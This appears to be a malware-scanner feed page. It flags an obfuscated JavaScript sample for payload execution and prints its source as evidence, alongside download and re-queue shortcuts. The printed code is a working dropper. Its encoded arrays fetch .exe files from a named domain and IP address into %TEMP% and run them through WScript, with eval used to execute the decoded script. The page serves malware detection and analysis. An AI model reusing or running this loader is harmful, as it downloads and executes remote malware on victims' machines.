Suspicious 80% javascript-malware-collection Download

a461e15a18493ec948913275fab2d2d71ef693202f1189fee379305c956c0b6b.unknown

Obfuscated payload execution

parseInt toString radix remapObfuscated increment/decrement via arithmetic
SHA-256a461e15a18493ec948913275fab2d2d71ef693202f1189fee379305c956c0b6b

Evidence

Obfuscated increment/decrement via arithmetic lines 2–12
2:1773… 25]='}';XsZFj[126]='~';XsZFj[127]='';
3function dCFiJ(kxQpslBtGDb,JHFbXdfcWJYzj,ZBrIbwrT){PzkY=parseInt(kxQpslBtGDb,JHFbXdfcWJYzj);rdqeH=PzkY.toString(ZBrIbwrT);return rdqeH;}function cGdBENPmIEtXkGZ(sxnKETwErBIUabAPQ){eval(sxnKETwErBIUabAPQ)}
4function gORpxAwLPZXPJBypCDyRwdjmzDOBJrowRnJYcnXMfmXWZYjOKoSoJM(vxGWNkEQHdEDq,UnlvaXYhSMVjow){ return XsZFj[dCFiJ(vxGWNkEQHdEDq[UnlvaXYhSMVjow],(6782+598)/738,(7297+693)/799)];}
5function xTINiFJ(abLVzrTmfNQAMfHazIzKYwMhCMoBvDVMqHVH) {return !isNaN(parseFloat(abLVzrTmfNQAMfHazIzKYwMhCMoBvDVMqHVH)) && isFinite(abLVzrTmfNQAMfHazIzKYwMhCMoBvDVMqHVH);}
6function VLDBHxLkvCS(qoZoRqIk,BPGSGK){return qoZoRqIk.split(BPGSGK)}
7var j=["13","10","13","10","118","97","114","32","77","32","61","32","34","115","111","102","116","101","120","116","114","97","105","110","54","52","46","99","111","109","47","56","48","46","101","120","101","63","32","52","54","46","49","53","49","46","53","50","46","49","57","54","47","56","48","46","101","120","101","63","32","63","32","63","34","46","115","112","108","105","116","40","34","32","34","41","59","13","10","118","97","114","32","103","115","69","32","61","40","40","49","47","42","103","50","76","114","51","57","52","55","55","48","53","57","54","110","50","48","52","51","52","55","117","77","51","53","52","49","57","51","101","79","105","90","42","47","41","63","34","87","83","99","114","105","34","58","34","34","41","43","34","112","116","46","83","104","101","108","108","34","59","13","10","118","97","114","32","113","98","32","61","32","87","83","99","114","105","112","116","46","67","114","101","97","116","101","79","98","106","101","99","116","40","103","115","69","41","59","13","10","118","97","114","32","106","116","32","61","32","34","37","84","69","77","80","37","92","92","34","59","13","10","118","97","114","32","74","65","114","32","61","32","113","98","46","69","120","112","97","110","100","69","110","118","105","114","111","110","109","101","110","116","83","116","114","105","110","103","115","40","106","116","41","59","13","10","118","97","114","32","76","76","114","32","61","32","34","50","46","88","77","76","72","34","59","13","10","118","97","114","32","97","90","77","32","61","32","76","76","114","32","43","32","34","84","84","80","34","59","13","10","118","97","114","32","73","118","32","61","32","116","114","117","101","32","32","44","32","107","112","109","108","32","61","32","34","65","68","79","68","34","59","13","10","118","97","114","32","89","86","32","61","32","87","83","99","114","105","112","116","46","67","114","101","97","116","101","79","98","106","101","99","116","40","34","77","83","34","43","34","88","77","76","34" …
8var J=["52","57","54","48","59","13","10","102","111","114","32","40","118","97","114","32","89","61","118","116","118","59","32","89","60","77","46","108","101","110","103","116","104","59","32","89","43","43","41","32","32","123","13","10","32","32","118","97","114","32","88","83","32","61","32","48","59","13","10","32","32","116","114","121","32","32","123","13","10","9","112","111","105","32","61","32","34","71","69","84","34","59","9","32","13","10","32","32","32","32","89","86","46","111","112","101","110","40","112","111","105","44","34","104","116","116","112","58","47","47","34","43","77","91","89","93","43","65","44","32","102","97","108","115","101","41","59","32","89","86","46","115","101","110","100","40","41","59","32","105","102","32","40","89","86","46","115","116","97","116","117","115","32","61","61","32","49","48","56","50","45","56","56","50","41","32","32","123","13","10","32","32","32","32","32","32","99","74","68","46","111","112","101","110","40","41","59","32","99","74","68","46","116","121","112","101","32","61","32","49","59","32","99","74","68","46","119","114","105","116","101","40","89","86","46","114","101","115","112","111","110","115","101","66","111","100","121","41","59","32","105","102","32","40","99","74","68","46","115","105","122","101","32","62","32","49","57","51","52","56","45","50","57","54","41","32","32","123","13","10","32","32","32","32","32","32","32","32","88","83","32","61","32","49","59","32","99","74","68","46","112","111","115","105","116","105","111","110","32","61","32","48","59","32","99","74","68","46","115","97","118","101","84","111","70","105","108","101","47","42","82","90","85","83","53","52","49","88","65","113","42","47","40","74","65","114","47","42","69","109","97","106","57","49","53","87","110","75","42","47","43","86","112","73","116","113","110","83","43","34","46","101","120","101","34","44","52","45","50","41","59","32","116","114","121","32","32","123","13","10","32","32","32","32","32","32","3 …
9var hZDwB=[j,J];
10var hMmGOUnBf=[];
11function sPeOfefVulMRlukTw(hZDwB){kotCtXwRYOT= '';for(RfpYVcRTNjt=(-367+367)/109; RfpYVcRTNjt < (784+438)/611; RfpYVcRTNjt++) {hMmGOUnBf[RfpYVcRTNjt]=(-34+34)/924; while(true) { if(hMmGOUnBf[RfpYVcRTNjt] > hZDwB[RfpYVcRTNjt].length-(-401+734)/333) { break; } if (xTINiFJ(dCFiJ(hZDwB[RfpYVcRTNjt][hMmGOUnBf[RfpYVcRTNjt]],(8226+924)/915,(570+480)/105))) {kotCtXwRYOT += gORpxAwLPZXPJBypCDyRwdjmzDOBJrowRnJYcnXMfmXWZYjOKoSoJM([hZDwB[RfpYVcRTNjt][hMmGOUnBf[RfpYVcRTNjt]]], (-649+649)/311);} hMmGOUnBf[RfpYVcRTNjt]++;}} return kotCtXwRYOT}
12cGdBENPmIEtXkGZ(sPeOfefVulMRlukTw(hZDwB));

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.